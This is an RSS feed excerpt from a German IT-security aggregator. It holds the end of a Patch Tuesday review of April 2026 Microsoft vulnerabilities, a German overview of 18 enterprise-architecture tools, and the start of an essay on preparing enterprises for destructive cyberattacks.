SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access. </p><p class="">There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.</p><p class="">The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP <a href="https://go.microsoft.com/fwlink/?linkid=2347342">notes</a> that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.</p><p class="">There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.</p><p class="">The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering. </p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[18 Enterprise-Architecture-Tools]]></title>
<description><![CDATA[Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. 
					Foto: I Believe I Can Fly – shutterstock.com




Enterprise Architecture (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftszie...]]></description>
<link>https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. " title="Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. " src="https://images.computerwoche.de/bdb/3284195/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. </p></figcaption></figure><p class="imageCredit">
					Foto: I Believe I Can Fly – shutterstock.com</p></div>




<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/2789207/eam-gibt-orientierung-in-der-digitalen-transformation.html" title="Enterprise Architecture" target="_blank">Enterprise Architecture</a> (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftsziele optimal zu unterstützen. Sie sorgen ebenfalls dafür, dass Unternehmen ihre Roadmaps für die <a href="https://www.computerwoche.de/article/2794425/wie-digitale-transformation-richtig-geht.html" title="digitale Transformation" target="_blank">digitale Transformation</a> geordnet vorantreiben können. EA Tools bieten dafür unter anderem Collaboration-, Reporting-, Testing- und Simulationsfunktionen. Mit deren Hilfe lassen sich Modelle implementieren, die Geschäfts- und IT-Prozesse gezielt verbessern.</p>



<p class="wp-block-paragraph">Um die beste Lösung für Ihr Unternehmen zu finden, sollten Sie zuerst prüfen, ob sich das jeweilige Tool mit Ihrem Technologie-Stack integrieren lässt. Anschließend gilt es abzuwägen, ob die Informationen, Diagramme und Tabellen, die die Software zur Verfügung stellt, für das Unternehmen auch einen echten Nutzwert haben.</p>



<h2 class="wp-block-heading">Empfehlenswerte Enterprise-Architecture-Tools</h2>



<p class="wp-block-paragraph">Nachfolgend finden Sie einen Überblick über die wichtigsten Enterprise-Architecture-Tools – in alphabetischer Reihenfolge. Sie stellen einen Mix aus Visualisierungs-, Collaboration- und Project-Management-Funktionen bereit und unterstützen eine Vielzahl von Enterprise Architecture Frameworks.</p>



<p class="wp-block-paragraph"><strong><a href="https://www.ardoq.com/" title="Ardoq" target="_blank" rel="noopener">Ardoq</a></strong></p>



<p class="wp-block-paragraph">Nachdem zuerst über einfache Formulare Informationen von Usern, Entwicklern und sonstigen Stakeholdern im Unternehmen eingesammelt wurden, lässt sich mithilfe von Ardoq ein digitaler Zwilling der gesamten Organisation erstellen. Der Ansatz setzt also darauf, die Menschen, die in ihren Rollen mit den verschiedensten Systemen arbeiten, realistisch in ihrer Arbeitswelt abzubilden.</p>



<p class="wp-block-paragraph">Jede Mitarbeiterin und jeder Mitarbeiter im Unternehmen kann später von den Netzwerkvisualisierungen und Datenfluss-Diagrammen profitieren, um seine eigene Rolle optimal zu unterstützen und den Arbeitsplatz immer wieder anzupassen und zu modernisieren. Das Tool lässt sich mit den wichtigsten Cloud-Plattformen integrieren. Es bietet eine API, die individuelle Anpassungen in allen wichtigen Programmiersprachen (Python, C#, Java, etc.) ermöglicht.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>“Architektonischen Stress” bei Lastspitzen simulieren, falls größere Veränderungen bevorstehen;</p></li>



<li><p>Verstehen, wie verändertes Nutzerverhalten neue Anforderungen generiert;</p></li>



<li><p>Application Portfolio Management, um besser strategisch zu planen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://atollgroup.eu/samu-enterprise-architecture-tool/" title="Atoll Group SAMU" target="_blank" rel="noopener">Atoll Group SAMU</a></strong></p>



<p class="wp-block-paragraph">Das EA-Tool SAMU macht die Enterprise Architecture sichtbar, indem es tiefe Verknüpfungen zwischen On-Premises-Systemen, dem Cloud-Layer und Tools für das Business Process Management aufzeigt. Das Tool der Atoll Group bietet vielfältige Integrationsmöglichkeiten, zum Beispiel mit Monitoring-Tools (etwa Tivoli, ServiceNow), Configuration-Management-Datenbanken (zum Beispiel CA, BMC) oder Service-Organisations-Tools (BMC, HPE). Alle Informationen fließen in ein zentrales Datenmodell ein, das um den zusätzlichen Input der Stakeholder weiter angereichert wird.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Enterprise-Architektur visualisieren;</p></li>



<li><p>strategische Planungsprozesse und Architektur-Reviews mit Informationen unterfüttern;</p></li>



<li><p>mithilfe einer visuellen Verständnisgrundlage die Kommunikation verbessern.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.avolutionsoftware.com/enterprise-architecture/" title="Avolution Abacus" target="_blank" rel="noopener">Avolution Abacus</a></strong></p>



<p class="wp-block-paragraph">Dieses Tool erfasst die Breite und den Umfang der Unternehmensarchitektur mit Hilfe eines auf Diagrammen basierenden Dashboards. Die Integration mit gängigen Tools wie SharePoint, <a href="https://www.computerwoche.de/k/excel,3461" target="_blank" class="idgGlossaryLink">Excel</a>, Visio, Google Sheets, Technopedia oder ServiceNow vereinfacht die Nutzung. Abacus wurde inzwischen auch um einen Machine-Learning-Layer ergänzt, der es Anwendern ermöglicht, ein Modell zu trainieren, das ihnen beispielsweise hilft zu erkennen, wer im Unternehmen für welches System verantwortlich ist.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>die IT für das gesamte Unternehmen “öffnen”, um ein allgemeines Verständnis der Datenflüsse zu erzeugen;</p></li>



<li><p>umfassendes Enterprise Modeling, um eine Roadmap für künftige Entwicklungen zu erstellen;</p></li>



<li><p>Business-Metriken tracken, die mit der Unternehmens-Performance zusammenhängen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.boc-group.com/de/adoit/" title="BOC Group ADOIT" target="_blank" rel="noopener">BOC Group ADOIT</a></strong></p>



<p class="wp-block-paragraph">ADOIT soll Teams dabei unterstützen, Ressourcen zu verwalten, Bedarfe vorherzusagen und Assets zu tracken. Dazu mappt das Tool jedes System oder Softwarepaket mit einem Objekt. Die Datenflüsse zwischen den Systemen werden in Beziehungen umgewandelt, die von diesen Objekten mithilfe eines anpassbaren Metamodells erfasst werden. Geschäftsprozesse können auf ähnliche Weise über ein gut integriertes Begleitprodukt namens ADONIS modelliert werden. ADOIT ist Web-basiert und lässt sich auch mit Tools wie Atlassian Confluence integrieren, um die Datenerfassung und -entwicklung zu beschleunigen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>ein unternehmensweites Modell erstellen, das bei sämtlichen Teammitgliedern ein Verständnis über den Stack schafft – und wie man diesen verbessern kann;</p></li>



<li><p>vollständiger Zugriff auf EA-Daten über eine Mobile-Anwendung;</p></li>



<li><p>bei Fusionen und Übernahmen den Tech-Bereich durch genaues Asset-Mapping orchestrieren.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="Mega Hopex" href="https://www.mega.com/hopex-platform" target="_blank" rel="noopener">Bizzdesign Hopex</a></strong></p>



<p class="wp-block-paragraph">Nach der Übernahme von Mega International zählt die Hopex-Plattform zum Portfolio von Bizzdesign. Sie soll dabei unterstützen, Unternehmensanwendungen zu modellieren und dabei ein Verständnis der von ihnen unterstützten Geschäfts-Workflows schaffen. Dabei liegt ein Schwerpunkt auf den Bereichen Data Governance und Risikomanagement. Hopex basiert auf Microsoft <a class="idgGlossaryLink" href="https://www.computerwoche.de/article/2732704/microsoft-azure-mit-der-deutschen-cloud-zu-neuen-geldquellen.html" target="_blank">Azure</a> und stützt sich auf eine Reihe offener Standards wie GraphQL und REST Queries, um Informationen aus Komponentensystemen zu sammeln. Das Reporting ist mit den Office-Tools von Microsoft sowie mit grafischen Lösungen wie Tableau und Qlik integriert.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>datengestützte Erkenntnisse herbeiführen, um Cloud- und Anwendungsbereitstellung zu steuern;</p></li>



<li><p>akkurate Nutzungsmodelle erstellen, um Architekturanforderungen zu verstehen;</p></li>



<li><p>eine Bedarfsschätzung mit Umfragen und anderen Tools vornehmen, um für die Zukunft zu planen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://bizzdesign.com/transformation-suite/horizzon" target="_blank" rel="noreferrer noopener">Bizzdesign Horizzon</a></strong></p>



<p class="wp-block-paragraph">Das Tool dient dazu, Business Workflows und den zugrundeliegenden Tech-Stack zu modellieren. Dazu bietet Horizzon ein Graph-basiertes Modell, das Daten von sämtlichen Stakeholdern einsammelt und diese an eine Analytics-Engine weitergibt. Im Ergebnis entstehen Diagramme, die den aktuellen Systemzustand widerspiegeln. Wichtige Schwerpunkte dieses Tools sind <a class="idgGlossaryLink" href="https://www.computerwoche.de/article/2777492/was-sie-ueber-change-management-wissen-muessen.html" target="_blank">Change Management</a> und Zukunftsplanung: Horizzon ist nicht zuletzt dafür konzipiert worden, die Risiken eines Redesigns zu minimieren. Das Toolset unterstützt die wichtigsten Frameworks ArchiMate, TOGAF und BPMN. Neben Mega hat Bizzdesign <a href="https://bizzdesign.com/press-releases/bizzdesign-adds-alfabet-business-following-successful-closing-mega-international" target="_blank" rel="noreferrer noopener">im Januar 2025</a> auch den EA-Geschäftsbereich der Software AG – Alfabet – übernommen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Vorhersage zukünftiger Anforderungen durch Predictive Modeling;</p></li>



<li><p>Orchestrieren von Workflows auf der Basis der technischen und der Business-Architektur;</p></li>



<li><p>Antizipieren von Risiken sowie Security- und Governance-Problemen durch die Modellierung von Datensicherheitsanforderungen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.capstera.com/" target="_blank" rel="noreferrer noopener">Capstera</a></strong></p>



<p class="wp-block-paragraph">Das Tool von Capstera fokussiert darauf, die Business Architecture selbst abzubilden. Value und Process Maps helfen dabei, die Rollen der verschiedenen Unternehmensbereiche zu definieren und nachzuverfolgen. Dabei können im laufenden Prozess Verknüpfungen mit den zugrundeliegenden Softwarprodukten und Tools hinzugefügt werden.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Reports erstellen, die sich erst einmal mit der Business-Architektur selbst beschäftigen;</p></li>



<li><p>Beziehungen zwischen Menschen, Abteilungen und Rollen analysieren;</p></li>



<li><p>die langfristige strategische Planung vorantreiben.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.bee360.com/de/" title="Clausmark Bee360" target="_blank" rel="noopener">Clausmark Bee360</a></strong></p>



<p class="wp-block-paragraph">Teammitglieder, die Clausmarks Flaggschiffprodukt Bee360 (früher Bee4IT) verwenden, wollen eine einfache “Single Source of Truth” über die Workflows im Unternehmen. Ziel ist es, verschiedenen betrieblichen Rollen intelligentere Entscheidungen zu ermöglichen. Das Modul Bee360 FM (Finanzmanagement) bietet etwa die Möglichkeit, Kosten nachzuvollziehen und zuzuordnen. Die Anwender können verschiedene solcher Module miteinander verknüpfen, um EAM, Finanzmanagement, Portfolio Management und Agile Planning nahtlos zu integrieren – bei maximaler Transparenz. </p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>C-Suite-Ebene befähigen, Projekte zu managen und Assets zuzuweisen;</p></li>



<li><p>präzise digitale Zwillinge entwickeln, um ein Verständnis über Datenflüsse zu schaffen und künftige Erweiterungen zu planen;</p></li>



<li><p>integrierte Wissensdatenbank aufbauen, um alle digitalen Workflows zu tracken.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.enterprise-architecture.com/" title="EAS" target="_blank" rel="noopener">EAS</a></strong></p>



<p class="wp-block-paragraph">Das Essential-Paket von EAS (Enterprise Architecture Solutions) nahm als <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Open-Source</a>-Projekt seinen Anfang und hat sich inzwischen zu einer kommerziell verfügbaren Cloud-Lösung weiterentwickelt. Das Tool erstellt ein Metamodell, das die Interaktionen zwischen Systemen und Geschäftsprozessen beschreibt. Ebenfalls enthalten sind Pakete, um gängige Business Workflows wie Datenmanagement oder DSGVO-Compliance zu tracken.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>den technischen Reifegrad der eigenen Architektur evaluieren;</p></li>



<li><p>Sicherheit und Governance durch besseres Asset Tracking optimieren;</p></li>



<li><p>wachsende Systemkomplexität kontrollieren und managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="Orbus Software iServer" href="https://www.orbussoftware.com/" target="_blank" rel="noopener">OrbusInfinity</a></strong></p>



<p class="wp-block-paragraph">Orbus Software hat Anfang 2025 die Akquisition seines Konkurrenten Capsifi <a href="https://www.orbussoftware.com/landing-pages/events/webinars/unlocking-the-future-orbus-acquires-capsifi-a-new-era-of-innovation-partnership-apac" target="_blank" rel="noreferrer noopener">abgeschlossen</a>. Der Anbieter stellt mit OrbusInfinity eine Enterprise-Transformation-Plattform auf KI-Basis zur Verfügung,  die schnellere, bessere Entscheidungen, Kosteinesparungen und Risikominimierung verspricht. Architecture-Teams sollen mit Hifle von OrbusInfinity mit einer Vielzahl von Stakeholdern interagieren können, um eine “digitale Blaupause” ihres Unternehmens zu generieren, die eine einheitliche Sicht auf das aktuelle und künftige Geschäft realisieren soll. Diverse Drittanbieter-Tools lassen sich außerdem mit der Plattform <a href="https://www.orbussoftware.com/product/integrations" target="_blank" rel="noreferrer noopener">integrieren</a>, darunter etwa von Microsoft, Flexera, ManageEngine oder ServiceNow. </p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Stakeholder-Management;</p></li>



<li><p>Enterprise-Landschaften visualisieren;</p></li>



<li><p>Entscheidungsfindung und Datenanalyse automatisieren.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.planview.com/de/" title="Planview Enterprise One" target="_blank" rel="noopener">Planview Enterprise One</a></strong></p>



<p class="wp-block-paragraph">Planview bietet eine ganze Reihe von Produkten, mit denen Unternehmen Teamwork, Prozesse und die Enterprise Architecture nachvollziehen können. Die Enterprise Tools sind in drei Kategorien unterteilt: strategisches Portfolio-Management, Produktportfolio-Management und Projektportfolio-Management. Im Zusammenspiel entstehen hardware- und Software-übergreifende Layer, die rollenbasierte Perspektiven für Führungskräfte und Teammitglieder eröffnen. Das Toolset integriert mit gängigen Ticket-Tracking-Systemen wie Jira, um Workflow-Analysen und Reports zu erstellen. Inzwischen hat Planview nach einer Übernahme neue Tools in sein Portfolio integriert, die früher unter den Namen Daptiv, Barometer und Projectplace bekannt waren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>eine langfristige, strategische Vision für die Architekturentwicklung aufbauen;</p></li>



<li><p>Entwicklungsarbeit auf Projektebene tracken und in eine beliebige Strategie integrieren;</p></li>



<li><p>mit Fokus auf die Customer Experience und die Produktstruktur den Change vorantreiben.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.qualiware.com/" title="QualiWare Enterprise Architecture" target="_blank" rel="noopener">QualiWare Enterprise Architecture</a></strong></p>



<p class="wp-block-paragraph">Das Enterprise Architecture Tool von QualiWare ist Teil einer größeren Sammlung von Modellierungswerkzeugen, die darauf abzielt, sämtliche Geschäftsprozesse zu erfassen. Beispielsweise ist es möglich, einen digitalen Zwillinge zu bauen, mit dem sich Customer Journeys nachvollziehen lassen. Qualiware hat diverse KI-Algorithmen integriert, um Dokumentation und Process Discovery zu optimieren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>ein kollaboratives Ökosystem für Business Manager aufbauen, das ein Verständnis von der Enterprise Architecture vermittelt;</p></li>



<li><p>architektonische Designelemente erfassen, um ein Wissens-Ökosystem rund um den Stack aufzubauen;</p></li>



<li><p>eine breite Beteiligung in Sachen Dokumentationserstellung und -überprüfung fördern.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.erwin.com/de-de/products/erwin-evolve/" title="Quest Erwin Evolve" target="_blank" rel="noopener">Quest Erwin Evolve</a></strong></p>



<p class="wp-block-paragraph">Das Erwin Evolve Tool von Quest hat sich von einem Datenmodellierungs-Tool zu einem System für Enterprise-Architecture- und Geschäftsprozess-Modellierung weiterentwickelt. Um die Komplexität moderner, ineinandergreifender Softwaresysteme und der von ihnen gemanagten Geschäftsprozesse zu durchdringen, können Anwender auf benutzerdefinierte Datenstrukturen zurückgreifen. Das Web-Tool erstellt Modelle, rollenbasierte Diagramme und andere Visualisierungen, die in allgemein zugängliche Dashboards einfließen. Zum Paket gehört ein KI-basiertes Modellierungs-Tool, das Whiteboard-Skizzen integrieren kann.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>einen digitalen Zwilling für die strategische Modellierung der Enterprise Data Architecture erstellen;</p></li>



<li><p>Customer Journeys verstehen;</p></li>



<li><p>Services und Systeme mit Application Portfolio Management tracken.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="LeanIX Enterprise Architecture Suite" href="https://www.leanix.net/de/produkte/enterprise-architecture-management" target="_blank" rel="noopener">SAP LeanIX Enterprise Architecture Suite</a></strong></p>



<p class="wp-block-paragraph">Die Tool-Sammlung von LeanIX umfasst unter anderem Enterprise Architecture Management und andere Bereiche, die für Aufgaben wie <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/cloud-computing,3454" target="_blank">SaaS</a>– und Value-Stream-Management wichtig sind – etwa um Cloud-Deployments und darauf laufende Services zu tracken. Die Daten die dabei über die IT-Infrastruktur gesammelt werden, fließen in ein grafisches Dashboard ein. Das Tool ist eng mit wichtigen Cloud-Workflow-Tools wie Confluence, Jira, Signavio und Lucidchart integriert. Das ist für Teams von Vorteil, die diese Tools bereits nutzen, um ihre Entwicklungsstrategien zu planen und umzusetzen. Seit November 2023 <a href="https://www.leanix.net/de/unternehmen/pressemeldungen/leanix-gehoert-jetzt-zu-sap">ist LeanIX Teil von SAP</a>.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Anwendungsmodernisierung und Cloud-Migration managen;</p></li>



<li><p>Obsoleszenz von Software-Services evaluieren;</p></li>



<li><p>Kosten kontrollieren und managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.servicenow.com/de/" title="ServiceNow" target="_blank" rel="noopener">ServiceNow</a></strong></p>



<p class="wp-block-paragraph">Die Tool-Sammlung von ServiceNow lässt sich auf verschiedene Architekturtypen herunterbrechen, darunter Assets, <a href="https://www.computerwoche.de/article/2785626/wie-devops-die-it-beschleunigen.html" target="_blank" class="idgGlossaryLink">DevOps</a>, Security und Service. Die Tools katalogisieren die unterschiedlichen Hardware- und Softwareplattformen, um Workflows und Datenflüsse im Unternehmen abzubilden und zu verstehen. Ausführliche Reportings und detaillierte Dashboards ermöglichen Analysen, auf deren Grundlage Risiken minimiert und die Ausfallsicherheit der Systeme erhöht werden können.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Tracken von Assets, Services und Systemen, die das Unternehmen ausmachen;</p></li>



<li><p>Governance-Themen, Risikobegrenzung, IT-Management und Security Operations werden in einer Plattform zusammengeführt;</p></li>



<li><p>durch die Integration von CRM-Tools lassen sich auch kundenorientierte Services managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://sparxsystems.com/products/ea/" title="Sparx Systems" target="_blank" rel="noopener">Sparx Systems</a></strong></p>



<p class="wp-block-paragraph">Um Teams und Projekte verschiedener Größe und Komplexität zu unterstützen, hat Sparx vier Versionen seines EA-Tools entwickelt. Allen gemeinsam ist eine UML-basierte Modellierung, mit der sich die Komponenten komplexer Systeme tracken lassen. Eine Simulations-Engine ermöglicht “War Gaming” und vermittelt ein Verständnis darüber, wie sich Fehler ausbreiten und kaskadieren können. Sparx stellt zudem eine Vielzahl von vorgefertigten Design Patterns bereit, um Teams bei der Modellierung zu unterstützen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Nachfrage- und Lastveränderungen zur Prognose künftiger Anforderungen simulieren;</p></li>



<li><p>(potenzielle) Probleme durch eine Verbindungs-Matrix im Auge behalten;</p></li>



<li><p>Dokumentation erstellen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.teamblue.unicomsi.com/products/system-architect/" title="Unicom System Architect" target="_blank" rel="noopener">Unicom System Architect</a></strong></p>



<p class="wp-block-paragraph">System Architect ist eines der Angebote aus Unicoms Team Blue. Es handelt sich um ein Tool, das ein Metamodell verwendet, um automatisiert so viele Daten wie möglich über die laufenden Systeme zu sammeln – manchmal auch durch ein Reverse Engineering von Datenflüssen. Dieses systemweite Datenmodell kann über benutzerdefinierte Dashboards Teammitgliedern aller Rollen zugänglich gemacht werden. Ein weiteres erwähnenswertes Feature: Die Ressourcenzuweisung lässt sich mit Hilfe von Simulationen optimieren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Was-wäre-wenn-Fragen zum Architekturmodell stellen;</p></li>



<li><p>ein Metamodell von Daten und Systemen aufbauen;</p></li>



<li><p>Migrations- und Transformationspläne erstellen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.valueblue.com/bluedolphin" title="ValueBlue BlueDolphin" target="_blank" rel="noopener">ValueBlue BlueDolphin</a></strong></p>



<p class="wp-block-paragraph">Dieses EA-Tool sammelt Daten auf dreierlei Art:</p>



<ol class="wp-block-list">
<li><p>Es importiert Basisdaten auf der Grundlage standardgesteuerter Automatisierung (ITSM, SAM).</p></li>



<li><p>Es arbeitet mit den Dateiformaten von Architekten und Systemdesignern – etwa ArchiMate oder BPMN.</p></li>



<li><p>Es gibt Fragebögen an andere Stakeholder heraus, die auf anpassbaren Vorlagen basieren.</p></li>
</ol>



<p class="wp-block-paragraph">Die aufbereiteten Informationen werden in einer visuellen Umgebung bereitgestellt, die Auskunft über die historische Entwicklung von Systemen gibt.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>systemweite Daten von internen und externen Stakeholdern automatisiert und formularbasiert erfassen;</p></li>



<li><p>zukunftsorientierte Reportings erzeugen, um den Change zu überwachen und voranzutreiben;</p></li>



<li><p>Kooperation und Zusammenarbeit durch offenes Data Reporting fördern.</p></li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.cio.com/article/196069/top-enterprise-architecture-tools.html" target="_blank">im Original</a> bei unserer Schwesterpublikation CIO.com erschienen. </strong></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



